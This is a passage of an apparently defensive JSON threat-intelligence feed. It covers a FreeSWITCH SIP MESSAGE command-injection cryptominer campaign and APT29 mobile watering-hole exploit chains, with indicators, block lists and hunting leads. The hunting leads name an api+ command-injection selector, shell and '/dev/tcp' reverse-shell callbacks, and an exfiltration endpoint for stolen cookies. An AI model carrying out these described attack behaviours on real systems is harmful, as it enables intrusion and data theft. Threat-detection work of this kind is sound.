} }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.yaral", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.yaral" } ] }, { "id": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign", "folder": "threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign", "name": "FreeSWITCH CVE-2026-116779 SIP Command Injection Cryptominer Campaign", "short": "FreeSWITCH CVE-2026-116779 miner", "category": "Exploitation / cryptomining", "published": "2026-11-05", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 2, "headline": "SIP MESSAGE command injection used to install a cryptominer", "summary": "CVE-2026-116779 is a command injection in FreeSWITCH's mod_sofia: a SIP MESSAGE whose To user names the API chat proto is passed to the FreeSWITCH API, so a single accepted MESSAGE can run operating-system commands. FreeSWITCH 1.11.2 and earlier are vulnerable when inbound chat is enabled (the default on the stock profiles), and 1.11.3 (28 August 2026) gates the path behind enable-chat-api-proto. Operators on the FusionPBX forum reported exploitation that installed a ksmd cryptominer with cron and systemd persistence; those artefacts are community-reported leads, not vendor-confirmed IOCs.", "caveat": "The only source is a single research write-up and community forum reports, so treat the hunting leads with care; the miner hosts and IPs are on the block list.", "targets": { "countries": [], "regions": [], "sectors": [ "Telecommunications (VoIP)" ], "note": "Operators of FreeSWITCH and FusionPBX telephony servers; no countries named.", "source": { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "name": "ZeroPath" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1543.002", "name": "Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1496", "name": "Resource Hijacking", "url": "https://attack.mitre.org/techniques/T1496/" } ], "recommended_actions": [ "Upgrade FreeSWITCH to 1.11.3 or later, or disable inbound chat or enforce MESSAGE authentication on SIP profiles.", "Remove the passwordless stock default user if it is still present.", "Check the www-data crontab and /var/tmp for .khp, ksmd and javab, and look for javab.service.", "Alert on the community-reported miner download hosts and IPs; they are not vendor-confirmed." ], "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "name": "ZeroPath" } ], "indicator_count": 12, "block_now_count": 0, "hunt_count": 12, "hunt_counts": { "alert": 12 }, "indicator_counts": { "filename": 6, "domain": 3, "ipv4": 3 }, "ioas": [ { "artefact": "SIP MESSAGE whose Request-URI or To user starts with api+ (any case), usually followed by a URL-encoded command such as system%20", "log_source": "IDS, packet capture or SBC logs on UDP and TCP 5060-5091", "why": "api+ selects the command-running chat proto. Match the selector, not shell keywords, because the command is percent-encoded. TLS hides it from network sensors.", "action": "alert", "has_query": false, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "SIP MESSAGE carrying an api+ command", "queries": [] }, { "artefact": "FreeSWITCH log lines \"Processing text message\" with a destination containing api+, or on patched servers \"rejected a MESSAGE ... addressed to the 'api' chat proto\"", "log_source": "FreeSWITCH logs, or syslog forwarded to your SIEM", "why": "Unpatched servers log the exploit before running it; 1.11.3 and later log each blocked attempt with the source address and command.", "action": "alert", "has_query": true, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "FreeSWITCH logs showing api+ text messages", "queries": [ "KQL", "SPL" ] }, { "artefact": "The freeswitch process or its service account starting bash, sh, curl or cat, including bash /dev/tcp// callbacks", "log_source": "EDR process events or auditd", "why": "Commands run as the FreeSWITCH user, which rarely starts shells. The forum-recovered exploit used a bash /dev/tcp connectivity check.", "action": "alert", "has_query": true, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "FreeSWITCH starting a shell or downloader", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "An every-minute www-data crontab entry running /var/tmp/.khp, files .khp, .khp_ts, .rguard, ksmd, idle or javab in /var/tmp, and a javab.service unit", "log_source": "Host checks (crontab -u www-data -l), EDR file events", "why": "Community-reported miner persistence from this campaign; the script also kills rival miners and deletes logs.", "action": "hunt", "has_query": true, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "Miner persistence in /var/tmp and the www-data crontab", "queries": [ "KQL", "SPL" ] }, { "artefact": "enable-chat-api-proto set to true on a SIP profile", "log_source": "Configuration management or file integrity monitoring of sip_profiles", "why": "Setting it reopens the path that 1.11.3 closes by default.", "action": "alert", "has_query": false, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "Chat API protocol enabled on a SIP profile", "queries": [] }, { "artefact": "Missing or truncated FreeSWITCH logs", "log_source": "Log retention and integrity checks", "why": "Attacker cron jobs were reported deleting logs, so gaps are a warning sign in themselves.", "action": "hunt", "has_query": false, "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_name": "ZeroPath", "title": "Missing or truncated FreeSWITCH logs", "queries": [] } ], "ioa_count": 6, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/block_now.txt", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/defender_xdr_indicators.csv", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.kql", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.spl", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt_raw.spl", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.yaral", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/iocs.csv", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign", "share_url": "https://iocwatch.com/t/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/", "indicators": [ { "value": "77.73.70.190", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "bash /dev/tcp reverse-shell callback (port 33375) seen in a FusionPBX exploitation log; community lead, not vendor-confirmed.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "87.229.64.49", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ksmd cryptominer download server decoded from the campaign script; community lead.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "217.151.99.216", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ksmd cryptominer download server decoded from the campaign script; community lead.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "chatgpt.logltech.store", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "ksmd cryptominer download host; community lead.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "ai.apachenginx.ru", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "ksmd cryptominer download host; community lead.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "shdesasdd.logltech.workers.dev", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "ksmd download host on Cloudflare Workers; alert on this exact host only, never workers.dev.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "/var/tmp/.khp", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Script run every minute from the www-data crontab on compromised FusionPBX servers.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "/var/tmp/ksmd", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Cryptominer binary dropped by the campaign.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "/var/tmp/javab", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Miner and persistence file run by javab.service.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "javab.service", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "systemd unit used for miner persistence.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "/var/tmp/.rguard", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Campaign artefact left in /var/tmp.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] }, { "value": "/var/tmp/.khp_ts", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Timestamp artefact used by the .khp cron script.", "source_url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "source_label": "ZeroPath – FreeSWITCH CVE-2026-116779 SIP MESSAGE to API command injection", "source_name": "ZeroPath", "sources": [ { "url": "https://zeropath.com/blog/cve-2026-116779-freeswitch-sip-message-api-command-injection", "name": "ZeroPath" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.kql", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.spl", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt_raw.spl", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign/hunt.yaral", "download": "FreeSWITCH-CVE-2026-116779-Cryptominer-Campaign_hunt.yaral" } ] }, { "id": "APT29-Mobile-Watering-Hole-Exploit-Chains", "folder": "threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains", "name": "APT29 Watering Holes Targeting iOS and Android with N-Day Exploits", "short": "APT29 mobile watering holes", "category": "APT / espionage", "published": "2026-11-04", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 1, "headline": "Watering holes serving n-day exploit chains to iOS and Android visitors", "summary": "Sekoia TDR attributes, with moderate to high confidence, a large-scale watering-hole campaign against iOS and Android users to APT29 (Midnight Blizzard, Cozy Bear), the Russian foreign intelligence service's intrusion set. Visitors were reached through compromised legitimate websites, fake look-alike sites such as america250.holiday, and a supply-chain compromise of the Ukrainian Plerdy web analytics tracker, trojanised from 27 August to 3 September 2026. A fingerprinting script profiles each device, then delivery servers serve platform-specific n-day exploit chains, one linked to the DarkSword iOS exploit kit, that steal browser cookies or full device data on iOS and Chrome data and Wi-Fi passwords on Android, without persistence.", "caveat": null, "targets": { "countries": [ { "code": "UA", "name": "Ukraine" }, { "code": "US", "name": "United States" }, { "code": "CZ", "name": "Czech Republic" }, { "code": "BG", "name": "Bulgaria" } ], "regions": [ "Europe" ], "sectors": [ "Military and defence", "Energy", "Political organisations" ], "note": "Victims across Europe and the US with a focus on Ukraine; compromised or cloned sites in the US, Ukraine, the Czech Republic and Bulgaria.", "source": { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "name": "Sekoia" } }, "mitre": [ { "id": "T1189", "name": "Drive-by Compromise", "url": "https://attack.mitre.org/techniques/T1189/" }, { "id": "T1195.002", "name": "Compromise Software Supply Chain", "url": "https://attack.mitre.org/techniques/T1195/002/" }, { "id": "T1592", "name": "Gather Victim Host Information", "url": "https://attack.mitre.org/techniques/T1592/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" } ], "recommended_actions": [ "Block the delivery, fingerprinting and exfiltration domains at DNS and web proxies.", "Keep iOS and Android devices fully patched; the chains use known (n-day) vulnerabilities.", "Look back in proxy logs for loads of a.plerdy.com between 27 August and 3 September 2026, but do not block the legitimate tracker.", "Reset sessions for webmail and cloud apps used on any device that reached these domains." ], "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "name": "Sekoia" } ], "indicator_count": 27, "block_now_count": 22, "hunt_count": 5, "hunt_counts": { "alert": 4, "monitor": 1 }, "indicator_counts": { "domain": 10, "sha256": 9, "url": 4, "ipv4": 3, "filename": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/block_now.txt", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/defender_xdr_indicators.csv", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.kql", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.spl", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt_raw.spl", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/hunt.yaral", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains/iocs.csv", "download": "APT29-Mobile-Watering-Hole-Exploit-Chains_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/APT29-Mobile-Watering-Hole-Exploit-Chains", "share_url": "https://iocwatch.com/t/APT29-Mobile-Watering-Hole-Exploit-Chains/", "indicators": [ { "value": "theowo.club", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake adversary-in-the-middle site (created 18 Jun 2026) that delivers the exploit chain via static.flux-telemetry.com.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "america250.holiday", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake America250 adversary-in-the-middle site (created 19 May 2026) that delivers via adsprism-stat.com.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "adsprism-stat.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Malicious delivery domain used by the fake America250 site.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "static.flux-telemetry.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host serving the device fingerprinting script.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "edge-ord.clouds-stacks.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery load balancer and redirector.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "ad.starx-net.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Exfiltration host receiving stolen data on port 8881 (/telemetry/v12).", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "ads-it-assets.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery server reached via the clouds-stacks redirect.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "cdn.adv-static.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Exploit delivery server.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "wpvortex-mod.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Exploit delivery server.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "assets-int.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Exploit delivery server.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "https://ad.starx-net.com:8881/telemetry/v12", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Exfiltration endpoint that receives stolen cookies and device data.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "https://static.flux-telemetry.com/module/5b4c8fea5cbcee273e8d830f52-temfp.js", "type": "url", "confidence": "high", "recommended_action": "block", "description": "UltimateFingerprinter script that profiles the visitor's browser and device before exploit delivery.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "https://edge-ord.clouds-stacks.com/module/5b4c8fea5cbcee273e8d830f52-temfp.js", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Fingerprinting script URL injected through the compromised Plerdy tracker.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "5b4c8fea5cbcee273e8d830f52-temfp.js", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "File name of the fingerprinting script.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "https://a.plerdy.com/public/js/click/main.js", "type": "url", "confidence": "med", "recommended_action": "monitor", "description": "Legitimate Plerdy analytics tracker that was trojanised from 27 Aug to 3 Sep 2026 only; do not block, look back for loads in that window.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "109.104.106.107", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP that static.flux-telemetry.com resolved to (Shock Hosting AS395092); VPS that may be reassigned.", "source_url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "source_label": "Sekoia TDR – Poisoned Source: APT29 watering holes target mobile devices with n-day exploits", "source_name": "Sekoia", "sources": [ { "url": "https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits", "name": "Sekoia" } ] }, { "value": "95.133.231.28", "type": "ipv4", 